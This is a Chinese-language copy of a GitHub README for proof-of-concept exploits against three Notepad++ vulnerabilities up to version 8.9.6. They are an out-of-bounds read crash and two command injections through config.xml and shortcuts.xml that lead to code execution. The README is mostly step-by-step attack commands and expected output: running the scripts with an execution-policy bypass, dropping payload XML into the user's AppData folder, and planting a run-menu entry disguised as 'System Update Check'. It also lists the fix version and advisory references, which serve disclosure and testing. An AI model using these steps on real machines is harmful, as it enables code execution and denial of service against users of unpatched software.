atiilla/Notepad-8.9.6-PoC

GitHub: atiilla/Notepad-8.9.6-PoC

针对 Notepad++ <= 8.9.6 版本中三个已知漏洞(CVE-2026-48770/48778/48800)的概念验证脚本集合,演示越界读取拒绝服务与配置文件命令注入实现远程代码执行。

Stars: 6 | Forks: 3

# Notepad++ PoCs *CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800* Notepad++ <= 8.9.6 中的三个漏洞的概念验证脚本,已在 v8.9.6.1 (2026-05-26) 中修复。 ![CVE-2026-48778 演示 - 文件 → 打开所在文件夹 → cmd 触发 RCE](https://static.pigsec.cn/wp-content/uploads/repos/cas/7c/7c87c346b06a5bce1c5cba70bfe94b677475ad6c23cd9f8b58c876b284c21a27.gif) ## 漏洞 | CVE | 类型 | CVSS | 影响 | |-----|------|------|--------| | CVE-2026-48770 | 通过 `WM_COPYDATA` 导致的 OOB 读取 | 5.0 | DoS / 崩溃 | | CVE-2026-48778 | 通过 `config.xml` 导致的 OS 命令注入 | 7.8 | RCE | | CVE-2026-48800 | 通过 `shortcuts.xml` 导致的 OS 命令注入 | 7.8 | RCE | ## 环境要求 - Windows 10/11(推荐使用虚拟机) - 已安装且**未更新**的 Notepad++ **<= 8.9.6** - Python 3.x(用于 `.py` 脚本) - PowerShell(内置,用于 `.ps1`) ## 文件结构 ``` . ├── README.md ├── poc_CVE-2026-48770.py # OOB read crash (ctypes) ├── poc_CVE-2026-48778.py # RCE via config.xml ├── poc_CVE-2026-48800.py # RCE via shortcuts.xml └── payloads/ ├── config.xml # Drop-in payload (CVE-2026-48778) ├── shortcuts.xml # Drop-in payload (CVE-2026-48800) └── poc_CVE-2026-48770.ps1 # OOB read crash (PowerShell) ``` ## CVE-2026-48770 - 通过 WM_COPYDATA 导致的 OOB 读取 同一 Windows 会话中的本地进程发送一个不含 NUL 终止符的恶意 `WM_COPYDATA` 消息(`dwData=3`)。处理程序在读取时越过了缓冲区边界,导致访问冲突 (0xc0000005) 从而使 Notepad++ 崩溃。 **触发条件:** Notepad++ 必须处于打开状态。 **PowerShell:** ``` # From payloads\ powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1 ``` **Python:** ``` python poc_CVE-2026-48770.py ``` **预期输出:** ``` [+] Found Notepad++ HWND: 0x000A08B4 [*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)... [+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005) ``` Notepad++ 窗口消失。WER(Windows 错误报告)可能会触发。 ## CVE-2026-48778 - 通过 config.xml 实现的 RCE `%APPDATA%\Notepad++\config.xml` 会在启动时被读取。`` 的值未经校验,直接传递给 `ShellExecute()`。将其替换为任何可执行文件后,当用户点击 **文件 → 打开所在文件夹 → cmd** 时即可实现 RCE。 ### 方法 A - Python 脚本(推荐) ``` # 注入(自动备份原始文件) python poc_CVE-2026-48778.py --mode direct --payload calc.exe # 触发:打开 Notepad++ -> File -> Open Containing Folder -> cmd # 启动 calc.exe 而不是 cmd.exe # 恢复 python poc_CVE-2026-48778.py --mode direct --restore ``` ### 方法 B - 投放 XML 文件 ``` copy payloads\config.xml %APPDATA%\Notepad++\config.xml # 打开 Notepad++ -> File -> Open Containing Folder -> cmd ``` ### 方法 C - settingsDir(无需写入 AppData) ``` python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe # 打印 notepad++.exe -settingsDir= 启动命令 # 触发:File -> Open Containing Folder -> cmd ``` ## CVE-2026-48800 - 通过 shortcuts.xml 实现的 RCE `%APPDATA%\Notepad++\shortcuts.xml` 会在启动时被读取。`` 下的 `` 条目会被添加到 **运行** 菜单中,并未经校验直接传递给 `ShellExecute()`。受攻击者控制的条目在点击时就会执行。 ### 方法 A - Python 脚本(推荐) ``` # 注入(自动备份原始文件) python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check" # 触发:关闭并重新打开 Notepad++ -> Run 菜单 -> "System Update Check" # 启动 calc.exe # 恢复 python poc_CVE-2026-48800.py --mode direct --restore ``` ### 方法 B - 投放 XML 文件 ``` copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml # 重启 Notepad++ -> Run 菜单 -> "System Update Check" ``` ### 方法 C - settingsDir(无需写入 AppData) ``` python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe # 打印 notepad++.exe -settingsDir= 启动命令 # 触发:Run 菜单 -> "System Update Check" ``` ## 缓解措施 **将 Notepad++ 更新至 v8.9.6.1 或更高版本。** 下载地址:https://notepad-plus-plus.org/downloads/ ## 公告参考 | CVE | 公告 | |-----|----------| | CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 | | CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 | | CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
标签:AI合规, Go语言工具, IPv6, PoC, PowerShell, Python, Web报告查看器, 搜索语句(dork), 无后门, 暴力破解, 端点可见性, 逆向工具